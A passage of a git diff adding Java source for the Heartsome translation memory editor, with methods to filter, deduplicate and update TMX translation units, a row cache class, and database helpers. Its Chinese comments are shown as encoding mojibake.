subFilerJob.setTaskName(Messages.getString("core.fileAccess.filterDupliacteSegment")); + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, super.currSrcLang, super.currTgtLang); + filterQuery.setIngoreTag(ignoreTag); + filterQuery.setIgnoreCase(ignoreCase); + List filterResultList = filterQuery.getDuplicate4DeleteIds(subFilerJob); + subFilerJob.done(); + if (filterResultList.size() == 0) { + return false; + } + + SubProgressMonitor subDeleteJob = new SubProgressMonitor(monitor, 60); + subDeleteJob.setTaskName(Messages.getString("core.fileAccess.deleteDuplicateSegment")); + deleteTus(filterResultList.toArray(new String[] {}), subDeleteJob); + subDeleteJob.done(); + + return true; + } + + /** + * 删除相åŒåŽŸæ–‡ä¸åŒè¯‘文的TU,删除时如果TU中åªæœ‰2个TUV,则直接删除TU;如果TU中有超过2个TUV则åªåˆ é™¤å½“å‰TUV + * @param ignoreTag + * @return ; + */ + + public boolean deleteSameSrcDiffTgt(IProgressMonitor monitor, boolean ignoreTag, boolean ignoreCase) { + monitor.beginTask("", 100); + SubProgressMonitor subFilerJob = new SubProgressMonitor(monitor, 40); + subFilerJob.setTaskName(Messages.getString("core.fileAccess.filterSameSrcDiffTgtSegment")); + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, super.currSrcLang, super.currTgtLang); + filterQuery.setIngoreTag(ignoreTag); + filterQuery.setIgnoreCase(ignoreCase); + List filterResultList = filterQuery.getSrcSameButTgtDiff4DeleteIds(subFilerJob); + subFilerJob.done(); + if (filterResultList.size() == 0) { + return false; + } + + SubProgressMonitor subDeleteJob = new SubProgressMonitor(monitor, 60); + subDeleteJob.setTaskName(Messages.getString("core.fileAccess.deleteSameSrcDiffTgtSegment")); + deleteTus(filterResultList.toArray(new String[] {}), subDeleteJob); + subDeleteJob.done(); + + return true; + + } + + /** + * å°†TUid按照文件分类 + * @param filterResultList + * @return ; + */ + public Map> parseIdentiterIds(List filterResultList) { + Map> subFileIds = new HashMap>(); + for (String id : filterResultList) { + String[] parseTuIndentifier = TeCoreUtils.parseTuIndentifier(id); + if (subFileIds.get(parseTuIndentifier[0]) == null) { + List ids = new ArrayList(); + ids.add(parseTuIndentifier[1]); + subFileIds.put(parseTuIndentifier[0], ids); + } else { + subFileIds.get(parseTuIndentifier[0]).add(parseTuIndentifier[1]); + } + } + return subFileIds; + } + + public String generateNewTuHsId(VTDUtils vu) { + // String hsid = "1"; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + try { + ap.selectXPath("/tmx/body/tu"); + int max = 0; + while (ap.evalXPath() != -1) { + String hsid = vu.getCurrentElementAttribut("hsid", "1"); + int id = Integer.parseInt(hsid); + if (id > max) { + max = id; + } + } + return max + 1 + ""; + } catch (VTDException e) { + LOGGER.error("", e); + } + return "1"; + } + + /** + * :删除段末段首空格 (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteEndsSpaces(org.eclipse.core.runtime.IProgressMonitor) + */ + @Override + public boolean deleteEndsSpaces(IProgressMonitor monitor) { + batchTrimSegs(monitor); + return false; + } + + @Override + public void beginQA(String srcLangCode, String tgtLangCode, boolean ignoreTag, boolean ignoreCase) { + QATrigger trigger = new QATrigger(); + trigger.beginTMXQA(container, srcLangCode, tgtLangCode, tuIdentifiers); + } + + @Override + public boolean isReadOnly() { + return false; + } + + private void filterTu(String srcSearchStr, String tgtSearchStr, String srcLang, String tgtLang, + IProgressMonitor monitor) { + List tuIds = new ArrayList(); + List subFiles = container.getSubFiles(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + String tuXpath = null; + monitor.beginTask("", subFiles.size()); + try { + if (langList.size() == 1 && (srcSearchStr == null || srcSearchStr.length() == 0) + && (tgtSearchStr == null || tgtSearchStr.length() == 0)) { + // 加载所有的 TU ,ä¸éœ€è¦è¯­è¨€è¿‡æ»¤ã€‚ + tuXpath = "./tu"; + for (String subFile : subFiles) { + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + vu.pilot("/tmx/body"); + ap.bind(vn); + ap.selectXPath(tuXpath); + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + while (ap.evalXPath() != -1) { + String hsid = vu.getCurrentElementAttribut("hsid", null); + if (hsid == null) { + continue; + } + String id = subFile + TeCoreConstant.ID_MARK + hsid; + tuIds.add(id); + } + } + monitor.done(); + super.tuIdentifiers.clear(); + super.tuIdentifiers.addAll(tuIds); + return; + } + tuXpath = "./descendant::tu[tuv[lower-case(@xml:lang)='" + srcLang.toLowerCase() + "'] " + + "and tuv[lower-case(@xml:lang)='" + tgtLang.toLowerCase() + "']]"; + for (String subFile : subFiles) { + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + vu.pilot("/tmx/body"); + ap.bind(vn); + ap.selectXPath(tuXpath); + whiletu: while (ap.evalXPath() != -1) { // 循环 TU + String hsid = vu.getCurrentElementAttribut("hsid", null); + if (hsid == null) { + continue whiletu; + } + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + String nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase("tuv")) { + String lang = vu.getCurrentElementAttribut("xml:lang", null); + if (lang == null + || !checkSearchString(vu, lang, srcLang, tgtLang, srcSearchStr, tgtSearchStr)) { + vn.pop(); + continue whiletu; + } + } + while (vn.toElement(VTDNav.NEXT_SIBLING)) { // 循环 TU 所有å­èŠ‚点 + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase("tuv")) { + String lang = vu.getCurrentElementAttribut("xml:lang", null); + if (lang == null + || !checkSearchString(vu, lang, srcLang, tgtLang, srcSearchStr, tgtSearchStr)) { + vn.pop(); + continue whiletu; + } + } + } + } + vn.pop(); + String id = subFile + TeCoreConstant.ID_MARK + hsid; + tuIds.add(id); + } + } + monitor.done(); + super.tuIdentifiers.clear(); + super.tuIdentifiers.addAll(tuIds); + } catch (VTDException e) { + LOGGER.error("", e); + } + } + + private boolean checkSearchString(VTDUtils vu, String lang, String srcLang, String tgtLang, String srcSearchStr, + String tgtSearchStr) throws VTDException { + VTDNav vn = vu.getVTDNav(); + if (lang.equalsIgnoreCase(srcLang) && srcSearchStr != null && srcSearchStr.length() != 0) { // æºè¯­è¨€ + vn.push(); + String pureText = getSegPureText(vu); + vn.pop(); + if (pureText != null && pureText.length() != 0) { + pureText = pureText.replaceAll("<", "<"); + pureText = pureText.replaceAll(">", ">"); + pureText = pureText.replaceAll(""", "\""); + pureText = pureText.replaceAll("&", "&"); + pureText = pureText.replaceAll(System.getProperty("line.separator"), "\n"); + } + if (pureText == null || pureText.length() == 0 || pureText.indexOf(srcSearchStr) == -1) { + return false; + } + } else if (lang.equalsIgnoreCase(tgtLang) && tgtSearchStr != null && tgtSearchStr.length() != 0) { // 目标语言 + vn.push(); + String pureText = getSegPureText(vu); + vn.pop(); + if (pureText != null && pureText.length() != 0) { + pureText = pureText.replaceAll("<", "<"); + pureText = pureText.replaceAll(">", ">"); + pureText = pureText.replaceAll(""", "\""); + pureText = pureText.replaceAll("&", "&"); + pureText = pureText.replaceAll(System.getProperty("line.separator"), "\n"); + } + if (pureText == null || pureText.length() == 0 || pureText.indexOf(tgtSearchStr) == -1) { + return false; + } + } + return true; + } + + private String getSegPureText(VTDUtils vu) throws VTDException { + VTDNav vn = vu.getVTDNav(); + String pureText = null; + if (vn.toElement(VTDNav.FIRST_CHILD)) { // å–seg内容 + String nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase("seg")) { + pureText = TmxInnerTagParser.getInstance().getTmxPureText(vu.getElementContent()); + } else { + vn.push(); + while (vn.toElement(VTDNav.NEXT_SIBLING)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase("seg")) { + pureText = TmxInnerTagParser.getInstance().getTmxPureText(vu.getElementContent()); + break; + } + } + vn.pop(); + } + } + return pureText; + } + + public void updateTuPropType(java.util.Map tus, TmxProp prop, String propType) { + if (propType == null) { + return; + } + propType = TextUtil.cleanSpecialString(propType); + + // key--file; value--hsid + Map> ids = new HashMap>(); + // key--identifier; value--dbpk + Map propIds = new HashMap(); + for (Entry entry : tus.entrySet()) { + TmxTU tu = entry.getValue(); + List props = tu.getProps(); + if (props == null) { + continue; + } + boolean shouldModify = false; + for (TmxProp checkProp : props) { + if (prop.getName().equals(checkProp.getName())) {// 是å¦éœ€è¦æ›´æ–° + propIds.put(entry.getKey(), checkProp.getDbPk()); + shouldModify = true; + break; + } + } + if (!shouldModify) { + continue; + } + + String[] strs = TeCoreUtils.parseTuIndentifier(entry.getKey()); + if (strs == null || strs.length < 2) { + continue; + } + if (!ids.containsKey(strs[0])) { + ids.put(strs[0], new LinkedList()); + } + ids.get(strs[0]).add(strs[1]); + } + + for (Entry> entry : ids.entrySet()) { + // å­æ–‡ä»¶ + String subFile = entry.getKey(); + List hsids = entry.getValue(); + + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + AutoPilot tmpAp = new AutoPilot(vn); + XMLModifier xm = null; + try { + xm = new XMLModifier(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error(e.getMessage(), e); + continue; + } + + try { + ap.selectXPath("/tmx/body/tu"); + while (ap.evalXPath() != -1 && !hsids.isEmpty()) { + String hsid = vn.toString(vn.getAttrVal("hsid")); + if (hsid == null || !hsids.contains(hsid)) { + continue; + } + vn.push(); + hsids.remove(hsid); + tmpAp.selectXPath(new StringBuilder().append("./prop[@type='" + prop.getName() + "']/@type").toString()); + int index = -1; + while ((index = tmpAp.evalXPath()) != -1) { + xm.updateToken(index+1, propType); + setDirty(true); + } + vn.pop(); + String identifier = new StringBuilder().append(subFile).append(TeCoreConstant.ID_MARK).append(hsid).toString(); + for (TmxProp rmp : tus.get(identifier).getProps()) { + if (rmp.getName().equals(prop.getName())) { + rmp.setName(propType); + } + } + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + } + save2SubFile(subFile, vu, xm); + } + }; + public void batchUpdateTmxPropType(IProgressMonitor monitor, final TmxProp prop, String propType, final String filter) { + + if (propType == null) { + return; + } + + final String cleanPropType = propType == null ? null : TextUtil.cleanSpecialString(propType); + + batchModifyDocument(monitor, null, filter, null,new BatchModifyContext() { + private String all_xpath = "/tmx/body/tu/prop[@type='" + prop.getName() + "']/@type"; + private String filter_xpath = "/tmx/body/tu[prop[@type=\"" + prop.getName() + "\"]]"; + @Override + public String getBaseXpath() { + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) { + return all_xpath; + } + return filter_xpath; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + try { + xm.updateToken(vu.getVTDNav().getCurrentIndex() + 1, cleanPropType); + } catch (Exception e) { + LOGGER.error("", e); + } + } + + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + int hasmodify = 0; + try { + if (set.contains(vu.getCurrentElementAttribut("hsid", ""))) {// 检测是å¦åœ¨æ›´æ–°ä¹‹åˆ— + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "./prop/@type"; + ap.selectXPath(xpath); + int index = -1; + while ((index = ap.evalXPath()) != -1) { + xm.updateToken(index + 1, cleanPropType); + hasmodify++; + } + vn.pop(); + } + } catch (Exception e) { + LOGGER.error("", e); + } + return hasmodify; + } + }); + }; +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxTuCache.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxTuCache.java new file mode 100644 index 0000000..4247092 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxTuCache.java @@ -0,0 +1,232 @@ +/** + * TmxTuCache.java + * + * Version information : + * + * Date:2013-7-8 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.tmxdata; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * TmxEditor implement with nattable UI data cache, the initial capacity is 1000;
    + * Key: Nattable rowIndex Value: Row Object, TmxTU + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxTuCache { + /** + * The size of the ArrayList (the number of elements it contains). + */ + private int size; + + /** + * 指å‘æœ€å¤§è¡Œå· + */ + private int index; + + private TmxTuCacheElement[] cache; + + public TmxTuCache() { + this(1000); + } + + public TmxTuCache(int initialCapacity) { + cache = new TmxTuCacheElement[initialCapacity]; + } + + public void clear() { + for (int i = 0; i < size; i++) { + cache[i] = null; + } + size = index = 0; + } + + public void addElement(int rowIndex, TmxTU tmxtu) { + if (!isFull()) { // 缓存未满 + index = size; + cache[size++] = new TmxTuCacheElement(rowIndex, tmxtu); + return; + } + if (index == cache.length - 1) { + index = 0; + } else { + index++; + } + cache[index].key = rowIndex; + cache[index].value = tmxtu; + // if(cache[size -1].getKey() < rowIndex){ + // // 大于最大行 + // TmxTuCacheElement[] temp = cache; + // cache = new TmxTuCacheElement[cache.length]; + // int from = 1; + // int to = cache.length; + // int newLength = to - from; + // if (newLength < 0) + // throw new IllegalArgumentException(from + " > " + to); + // System.arraycopy(temp, from, cache, 0, + // Math.min(temp.length - from, newLength)); + // cache[cache.length - 1] = new TmxTuCacheElement(rowIndex, tmxtu); + // } else { + // TmxTuCacheElement[] temp = cache; + // cache = new TmxTuCacheElement[cache.length]; + // int from = 0; + // int to = cache.length - 1; + // int newLength = to - from; + // if (newLength < 0) + // throw new IllegalArgumentException(from + " > " + to); + // System.arraycopy(temp, from, cache, 1, + // Math.min(temp.length - from, newLength)); + // cache[0] = new TmxTuCacheElement(rowIndex, tmxtu); + // } + } + + public TmxTU getElement(int rowIdex) { + if (index < 0 || size == 0) { + return null; + } + for (int i = 0; i < size; i++) { + TmxTuCacheElement ce = cache[i]; + if (ce.getKey() == rowIdex) { + index = i; + return ce.getValue(); + } + } + return null; + } + + private boolean isFull() { + return size == cache.length; + } + + public static void main(String[] args) { + String fileLC = "E:\\1\\TMX_edit\\medicaldevicesc.tmx"; + VTDGen vg = new VTDGen(); + vg.parseFile(fileLC, true); + + try { +// VTDNav vn = vg.getNav(); +// VTDUtils vu = new VTDUtils(vn); +// +// long time2 = System.currentTimeMillis(); +// for(int i = 100000 ; i < 100005; i++){ +// time2 = System.currentTimeMillis(); +// readTu(i, vu); +// AutoPilot ap = new AutoPilot(vn); +// String xp = "/tmx/body/tu["+i+"]"; +// try { +// ap.selectXPath("/tmx/body/tu["+i+"]"); +// if (ap.evalXPath() != -1) { +// System.out.println(vu.getElementFragment()); +// TmxFileDataAccessUtils.readTUAttr4VTDNav(vu, tu); +// TmxFileDataAccessUtils.readTUNote4VTDNav(vu, tu); +// TmxFileDataAccessUtils.readTUProp4VTDNav(vu, tu); +// TmxFileDataAccessUtils.readTUTuv4VTDNav(vu, tu, super.currSrcLang, super.currTgtLang); +// } +// } catch (VTDException e1) { +// e1.printStackTrace(); +// } +// vu.pilot("/tmx/body/tu["+i+"]"); +// System.out.println(System.currentTimeMillis() - time2); +// } +// +// int i = 300000; +// while(i < 300004){ +// time2 = System.currentTimeMillis(); +// i++; +// vu.pilot("/tmx/body/tu["+i+"]"); +// System.out.println(System.currentTimeMillis() - time2); +// } + +//// +// vu.pilot("/tmx/body/tu[300000]"); +// System.out.println(System.currentTimeMillis() - time2); +// time2 = System.currentTimeMillis(); +// vu.pilot("/tmx/body/tu[300001]"); +// System.out.println(System.currentTimeMillis() - time2); +// time2 = System.currentTimeMillis(); +// vu.pilot("/tmx/body/tu[300002]"); +// System.out.println(System.currentTimeMillis() - time2); +// time2 = System.currentTimeMillis(); +// vu.pilot("/tmx/body/tu[300003]"); +// System.out.println(System.currentTimeMillis() - time2); + + VTDNav vn = vg.getNav(); + + long time1 = System.currentTimeMillis(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/tmx/body/tu[" + 300000 + "]"); + if (ap.evalXPath() != -1) { + System.out.println("----------==="); + } + System.out.println(System.currentTimeMillis() - time1); + + long time2 = System.currentTimeMillis(); + //following + ap.selectXPath("/tmx/body/tu[" + 300015 + "]"); + if (ap.evalXPath() != -1) { + System.out.println("----------"); + } + + + System.out.println(System.currentTimeMillis() - time2); + + } catch (Exception e) { + // TODO: handle exception + } + } + static final String xpath = "/tmx/body/tu[__id__]"; + public static void readTu(int id, VTDUtils vu){ + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + String xp = "/tmx/body/tu["+id+"]"; + try { + ap.selectXPath(xp); + if (ap.evalXPath() != -1) { +// System.out.println(vu.getElementFragment()); +// TmxFileDataAccessUtils.readTUAttr4VTDNav(vu, tu); +// TmxFileDataAccessUtils.readTUNote4VTDNav(vu, tu); +// TmxFileDataAccessUtils.readTUProp4VTDNav(vu, tu); +// TmxFileDataAccessUtils.readTUTuv4VTDNav(vu, tu, super.currSrcLang, super.currTgtLang); + } + } catch (VTDException e1) { + e1.printStackTrace(); + } + } + + private class TmxTuCacheElement { + private int key; + private TmxTU value; + + public TmxTuCacheElement(int key, TmxTU value) { + this.key = key; + this.value = value; + } + + public TmxTU getValue() { + return value; + } + + public int getKey() { + return key; + } + + @Override + public String toString() { + return "rowIndex : " + key; + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/DatabaseAccessUtils.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/DatabaseAccessUtils.java new file mode 100644 index 0000000..bdea0f0 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/DatabaseAccessUtils.java @@ -0,0 +1,122 @@ +/** + * DatabaseAccessUtils.java + * + * Version information : + * + * Date:2013-12-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils; + +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.database.TMXDBOperatorFacade; +import net.heartsome.cat.te.core.bean.SimpleTUData; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Yule + * @version + * @since JDK1.6 + */ +public class DatabaseAccessUtils { + + private static Logger log = LoggerFactory.getLogger(DatabaseAccessUtils.class); + + private boolean ignoreTag; + + private boolean ignoreCase; + + private String srcLang; + + private String tgtLang; + + private TMXDBOperatorFacade accessTmxDb; + + public DatabaseAccessUtils() { + + } + + public DatabaseAccessUtils(TMXDBOperatorFacade accessTmxDb, String srcLang, String tgtLang, boolean ignoreTag, + boolean ignoreCase) { + this.accessTmxDb = accessTmxDb; + this.srcLang = srcLang; + this.tgtLang = tgtLang; + this.ignoreTag = ignoreTag; + this.ignoreCase = ignoreCase; + + } + + public List getSimpleTuData(IProgressMonitor monitor) throws SQLException { + Map> simpleTuDBDatas = accessTmxDb.getSimpleTuDBDatas(ignoreTag, srcLang, tgtLang); + monitor.beginTask("", simpleTuDBDatas.size()); + Iterator> it = simpleTuDBDatas.values().iterator(); + List tus = new ArrayList(); + SimpleTUData tu = null; + while (it.hasNext()) { + monitor.worked(1); + Map tuData = it.next(); + tu = new SimpleTUData(tuData.get("SRC"), // æºæ–‡
    + tuData.get("TGT"),// 译文
    + tuData.get("TUPKID"),// id
    + tuData.get("CHANGE_DATE"));// 修改时间
    + if (!tu.isEmpty()) { + tus.add(tu); + } + + } + monitor.done(); + return tus; + } + + public List getId4DulicateDelete(IProgressMonitor monitor) throws SQLException { + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + SubProgressMonitor subGetJob = new SubProgressMonitor(monitor, 20); + List allSimpleTus = getSimpleTuData(subGetJob); + SubProgressMonitor subQuryJob = new SubProgressMonitor(monitor, 80); + List ids = DeleteTUHelper.queryDeleteDulicateTuId(allSimpleTus, subQuryJob, ignoreCase); + return parseStrings2Integers(ids); + } + + public List getId4SrcSameDiffTgtDelete(IProgressMonitor monitor) throws SQLException { + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + SubProgressMonitor subGetJob = new SubProgressMonitor(monitor, 20); + List allSimpleTus = getSimpleTuData(subGetJob); + SubProgressMonitor subQuryJob = new SubProgressMonitor(monitor, 80); + List ids = DeleteTUHelper.queryDeleteSrcSameDiffTgtTuId(allSimpleTus, subQuryJob, ignoreCase); + return parseStrings2Integers(ids); + } + + private List parseStrings2Integers(List numberStrs) { + List ints = new ArrayList(); + for (String num : numberStrs) { + try { + int parseInt = Integer.parseInt(num); + ints.add(parseInt); + } catch (NumberFormatException e) { + log.info("", e); + continue; + } + } + return ints; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/DeleteTUHelper.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/DeleteTUHelper.java new file mode 100644 index 0000000..62d9675 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/DeleteTUHelper.java @@ -0,0 +1,302 @@ +/** + * DeleteTUHelper.java + * + * Version information : + * + * Date:2013-12-12 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.Date; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.te.core.bean.SimpleTUData; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; + +/** + * @author Yule + * @version + * @since JDK1.6 + */ +public class DeleteTUHelper { + + public static void main(String[] args) { + List datas = new ArrayList(); + SimpleTUData data1 = new SimpleTUData("2", "5", "1id", ""); + SimpleTUData data2 = new SimpleTUData("2", "2", "2id", ""); + SimpleTUData data3 = new SimpleTUData("2", "2", "3id", ""); + SimpleTUData data4 = new SimpleTUData("2", "3", "4id", ""); + SimpleTUData data5 = new SimpleTUData("2", "4", "5id", ""); + SimpleTUData data6 = new SimpleTUData("2", "5k", "6id", ""); + SimpleTUData data7 = new SimpleTUData("2", "5", "7id", ""); + datas.add(data1); + datas.add(data2); + datas.add(data3); + datas.add(data4); + datas.add(data5); + datas.add(data6); + datas.add(data7); + sortDulicateTU(datas, true); + List> groupOrderedDiffTu = groupOrderedDiffTu(datas, null, true); + for (List tus : groupOrderedDiffTu){ + System.out.println(); + for (SimpleTUData data : tus) + System.out.println(data.toString()); + } + + } + + /** + * @param orderdTus + * @param monitor + * @param ignoreCase + * @return ; + */ + public static List queryDeleteDulicateTuId(List orderdTus, IProgressMonitor monitor, + boolean ignoreCase) { + if (null == orderdTus || orderdTus.isEmpty()) { + return new ArrayList(); + } + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + sortDulicateTU(orderdTus, ignoreCase); + monitor.worked(60); + SubProgressMonitor subOrderjob = new SubProgressMonitor(monitor, 20); + List> groupOrderedTu = groupOrderedTu(orderdTus, subOrderjob, ignoreCase); + SubProgressMonitor subGetjob = new SubProgressMonitor(monitor, 20); + subGetjob.beginTask("", groupOrderedTu.size()); + Iterator> iterator = groupOrderedTu.iterator(); + List tuDeleteIds = new ArrayList(); + while (iterator.hasNext()) { + subGetjob.worked(1); + List nextData = iterator.next(); + if (nextData.size() > 1) { + tuDeleteIds.addAll(removeNotLastDateTu(nextData)); + } + } + subGetjob.done(); + return tuDeleteIds; + } + + /** + * @param orderdTus + * @param monitor + * @param ignoreCase + * @return ; + */ + public static List queryDeleteSrcSameDiffTgtTuId(List orderdTus, IProgressMonitor monitor, + boolean ignoreCase) { + if (null == orderdTus || orderdTus.isEmpty()) { + return new ArrayList(); + } + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + sortDulicateTU(orderdTus, ignoreCase); + monitor.worked(60); + SubProgressMonitor subOrderjob = new SubProgressMonitor(monitor, 20); + List> groupOrderedTu = groupOrderedDiffTu(orderdTus, subOrderjob, ignoreCase); + SubProgressMonitor subGetjob = new SubProgressMonitor(monitor, 20); + subGetjob.beginTask("", groupOrderedTu.size()); + Iterator> iterator = groupOrderedTu.iterator(); + List tuDeleteIds = new ArrayList(); + while (iterator.hasNext()) { + subGetjob.worked(1); + List nextData = iterator.next(); + if (nextData.size() > 1) { + tuDeleteIds.addAll(removeNotLastDateTu(nextData)); + } + } + subGetjob.done(); + return tuDeleteIds; + } + + /** + * ä¿ç•™æœ€æ–°æ—¶é—´çš„一个TU ; + */ + public static List removeNotLastDateTu(List tuGroup) { + if (null == tuGroup || tuGroup.isEmpty()) { + return new ArrayList(); + } + int tuGroupSize = tuGroup.size(); + + List ids = new ArrayList(); + if (1 == tuGroupSize) { + return ids; + } + + Iterator iterator = tuGroup.iterator(); + while (iterator.hasNext()) { + SimpleTUData next = iterator.next(); + String formatedTime = DateUtils.formatStringTime(next.getModifyTime()); + if (null == formatedTime) { + ids.add(next.getTuId()); + iterator.remove(); + } + } + if (tuGroupSize == ids.size()) { + ids.remove(0); + return ids; + } + + Collections.sort(tuGroup, new Comparator() { + @Override + public int compare(SimpleTUData tuOne, SimpleTUData tuOther) { + String modifyTimeOne = tuOne.getModifyTime(); + String modifyTimeOther = tuOther.getModifyTime(); + String firTime = DateUtils.formatStringTime(modifyTimeOne); + String secTime = DateUtils.formatStringTime(modifyTimeOther); + Date firdate = DateUtils.getDateFromUTC(firTime); + Date secdate = DateUtils.getDateFromUTC(secTime); + return firdate.compareTo(secdate); + } + + }); + + for (int i = 0; i < tuGroup.size() - 1; i++) { + String tuId = tuGroup.get(i).getTuId(); + ids.add(tuId); + } + return ids; + } + + private static void sortDulicateTU(List datas, final boolean ignoreCase) { + + Collections.sort(datas, new Comparator() { + @Override + public int compare(SimpleTUData tuOne, SimpleTUData tuOther) { + String srcText1 = tuOne.getSrcText(); + String srcText2 = tuOther.getSrcText(); + String tgtText1 = tuOne.getTgtText(); + String tgtText2 = tuOther.getTgtText(); + if (ignoreCase) { + int srcCmp = srcText1.compareToIgnoreCase(srcText2); + if (0 == srcCmp) { + return tgtText1.compareToIgnoreCase(tgtText2); + } else { + return srcCmp; + } + } else { + int srcCmp = srcText1.compareTo(srcText2); + if (0 == srcCmp) { + return tgtText1.compareTo(tgtText2); + } else { + return srcCmp; + } + } + } + }); + } + + private static List> groupOrderedDiffTu(List orderdTus, IProgressMonitor monitor, + boolean ignoreCase) { + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + List> duplicateGroupTu = new ArrayList>(); + List oneTuGroup = new ArrayList(); + int size = orderdTus.size(); + monitor.beginTask("", size); + 